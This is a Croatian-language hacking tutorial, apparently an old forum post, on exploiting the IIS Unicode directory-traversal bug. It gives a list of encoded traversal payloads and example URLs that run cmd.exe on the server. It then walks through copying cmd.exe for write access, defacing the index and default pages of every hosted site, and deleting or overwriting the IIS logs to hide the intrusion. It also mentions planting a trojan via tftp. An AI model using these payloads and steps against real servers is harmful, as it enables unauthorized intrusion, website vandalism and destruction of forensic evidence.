Evo jos jedan tutorial (malo je velik):
S obzirom da pisem o IIS-u, bio bi grijeh ne spomenuti 'slavni' unicode bug.
Pomocu ovoga buga mozemo lagano preuzeti potpunu kontrolu nad zrtvinim sistemom.
Prvo da objasnimo malo taj unicode. Evo ovako...Na Windows9x sistemima, kao i na
svim drugim OSevima imamo ASCII (American Standard Code for Information Interchange)
set znakova. To je 8 bitni set znakova koji nam dopusta 256 kombinacija, znaci 256 znakova.
Na WindowsNT operativnim sistemima imamo uz ASCII i UNICODE. To je nesto-vise-bitni
kod od ASCII-a (ne znam tocno koliko:) i dopusta puno vise znakova od ASCII koda.
Zamislite situaciju:
Jedan nadasve pazljiv i brizan Micro$oftov programer pise dio IIS WWW servera koji
treba paziti da se u IIS WWW serveru ne moze upotrijebiti slash-dot bug (../../).
Programer uredno stavi jedan uvijet, koji glasi ovako:
char korisnikov_zahtjev[500];
char moguc_slash_dot_bug[] = "../"
if ((strcmp ( korisnikov_zahtjev , moguc_slash_dot_bug )) == 0)
{
printf ("Somebody is trying to exploit slash-dot bug, RED ALERT...\n");
printf ("PLEASE HELP ME, DAD BILL!!!");
exit (0);
}
Znaci, ovaj dio koda ce provjeriti, da li u korisnickom zahtjevu ima pokusaja exploitanja
slash-dot buga. Ovaj kod ce dobro raditi u slucaju da se radi o ASCII verziji slash-dot buga,
ali u slucaju da se posalje UNICODE vrijednost ../ znakova, ovaj dio koda nece prepozati da
je to prikriveni slash-dot bug i lijepo ce se pozicionirati na jedan direktorij blize root
direktoriju, zato sto IIS server dekodira UNICODE tek nakon provjere za slash-dot bugom u
korisnickom zahtjevu.
Ovaj source kod sam ja izmislio i nema veze sa bas nicim, nego bi otprilike trebao pokazati
o cemu se radi kod UNICODE buga.
A sad da sam ja DarkMan, odmah bi rekao, da je to jedan super-tajni source kod koji
sam uz pomoc svojih 5UP3R-Ul7R4-h4x0R-T34M4 ukrao iz jednog 5UP3R-Ul7R4 tajnog
Micro$oftovog spremista bugovitih source kodova, kao sto je rekao za graso.c, njegov
super flooder, kojeg je sa svojim teamom ukrao iz jednog r00tanog servera LOL, LOL, LOL.
Ah, moramo na nasoj hrvatskoj hack sceni imati i neke lejmere (DarkMan), kako bi bez njih.
Ispricavam se sta sam ovo (DarkMana) ubacio u tutor, ali nisam vise mogao izdrzat, znate
kako se kaze: "Lejmeri, ne mozes s njima, a ne mozes ni bez njih !!!" :o).
Nego, da se mi vratimo na nas UNICODE bug.
Znaci, sad otprlike znamo sta je unicode bug i sta pomocu njega mozemo napraviti.
Sad je red da exploitamo to.
Prvo da naglasim jednu jako vaznu stvar u vezi unicode buga.
UNICODE bug se exploita skoro svaki put malo drugacije. Naime, zahtjev, odnosno
exploit koji posaljemo IIS serveru ovisi o setu UNICODE znakova koji taj IIS
server koristi. Znaci, ako je IIS na engleskom setu znakova, exploit ce biti
drugaciji od onoga koji je na njemackom setu znakova.
Za exploitanje UNICODE buga, na INTERNETU postoji puno gotovih PERL skripta.
S obzirom da mi zelimo nesto nauciti, radit cemo sve rucno, iako time malo smanjujemo
vjerojatnost exploitanja.
Da bi mogli exploitati UNICODE bug, morate imati neko osnovno znanje DOSevih naredbi
kao sto su copy, del, md, rd, attrib, echo , pa specijalni znakovi kao sto su >, >>, | itd.
Izvrsavanje DOS naredbi preko UNICODE buga isto je kao i izvrsavanje istih naredbi u
DOS-u, uz razliku da umjesto praznog mjesta stavljamo znak +.
Primjer:
''''''''
cp c:\test.txt c:\winows\test2.txt <- DOS
cp+c:\test.txt+c:\winows\test2.txt <- Preko UNICODE-a
To je jedina razlika.
Nego, vratimo se mi na UNICODE bug...
Da bi provjerili da li na nekom IIS serveru radi UNICODE bug, prvo posaljemo 'probni'
zahtjev - to trebamo upisati u nas browser (Netscape, IE, lynx, itd.).
http://www.IISsajt.com/scripts...nnt/system32/cmd.exe?/c+dir+c:\
Ako sve radi, sad bi trebali dobiti popis direktorija i datoteka u c:\ .
U slucaju da ne dobijete popis direktorija i datoteka, koristi se drugaciji
UNICODE set znakova, ili je bug patchiran.
Umjesto ..%c1%c1c.. probajte staviti sljedece (jedno po jedno), a sve ostalo
mora ostati potpuno isto. Nakon svake promjene morate poslati taj zahtjev
da vidite da li je proradilo :).
..%c0%af..
..%c1%9c..
..%c1%pc..
..%c0%9v..
..%c0%qf..
..%c1%8s..
..%c1%1c..
..%c1%9c..
..%c1%af..
..%e0%80%af..
..%f0%80%80%af..
..%f8%80%80%80%af..
..%fc%80%80%80%80%af..
..%c1%9c..%c1%9c..%c1%9c..
..%c0%af../..%c0%af../..%c0%af..
..%C0%AF../..%C0%AF../..%C0%AF..
..%e0%80%af../..%e0%80%af../..%e0%80%af..
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af..
Ako jos uvijek ne radi, ***i ga, kreni na sljedeci server :).
Ako radi, moramo iskopirati c:\winnt\system32\cmd.exe u c:\winnt\system32\cmd1.exe,
da bi mogli pisati po disku. To napravimo ovako:
http://www.IISsajt.com/scripts...nt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\cmd1.exe
Sad cemo za daljnje 'pohode' koristiti cmd1.exe. Cmd.exe je shell. Kao sto je u *nix-u
shell /bin/sh ili u DOS/Windows9x command.com.
Sad opet posaljemo zahtjev, da vidimo da li radi cmd1.exe.
http://www.IISsajt.com/scripts...nt/system32/cmd1.exe?/c+dir+c:\
String ..%c1%1c.. mora biti zamijenjen sa onim stringom koji vam je proradio.
Sad mozete pisati po disku. To radite ovako:
http://www.IISsajt.com/scripts...cmd1.exe?/c+echo+hello+>+c:\test.txt
Ovime smo zapisali hello u datoteku c:\test.txt.
Ako imate neku strasnu volju da defejsate server (promijenite mu index.htm ili index.html
stranicu), evo vam:
Index.htm se nalazi u direktoriju c:\InetPub\WWWRoot , pa ako ju zelite difejsati,
posaljete ovakav zahtjev:
http://www.IISsajt.com/scripts...e?/c+echo+Ovo+sam+ja+hacknuo+v eliki+hacker+DarkMan+>+c:\InetPub\WWWRoot\index.htm
Ustvari, ako vam je vec do 'postenog' difejsa, onda prekopirajte i default.htm, default.asp,
index.html i index.asp sa tekstom kojeg echoate (radi sigurnosti, da je sajt 100% difejsan).
Primjer:
''''''''
http://www.IISsajt.com/scripts...e?/c+echo+Ovo+sam+ja+hacknuo+v
eliki+hacker+DarkMan+>+c:\InetPub\WWWRoot\default.htm
Sad se ponovno spojite na taj sajt i pogledajte index.htm ili default.htm. :)
U slucaju da naletite na neki IIS server koji ima hostano vise sajtova, mozete ih naci ovako:
http://www.IISsajt.com/scripts...system32/cmd1.exe?/c+dir+/S+c:\*.html
Pa ih sve lijepo difejsajte.
IIS Unicode patch mozete skinuti sa Micro$oftovog sajta, a kao privremenu obranu
protiv mnostva lejmera koji ce ako im ovaj ili slican tekst dodje u ruke poceti
napadati mnostvo 'nevinih' sajtova, preporucam da iskopirate c:\winnt\system32\cmd.exe
u c:\winnt\system32\nekoime.exe. Tako im exploit nece odmah raditi i mislit ce
da su naletjeli na neki IIS bez UNICODE buga.
UNICODE bug je jako mocna stvar za one koji ga znaju u potpunosti iskoristiti.
Npr. pomocu tftp-a mozete na racunalo staviti neki trojan, mozete ostvariti
interaktivni shell itd.
Uh, da, skoro sam zaboravio...Nakon difejsa morate obrisati logove. To bi bilo ovo:
C:\WINNT\SYSTEM32\LOGFILES\W3SVC32 . Ako ih ne uspijete obrisati - npr. sistem kaze
da ih ne moze obrisati jer se neki drugi program sluzi njima, pokusajte ih pre-echo-ati.
To je isto kao kad smo defejsali stranicu, samo sto sad pomocu echo-a brisemo logove.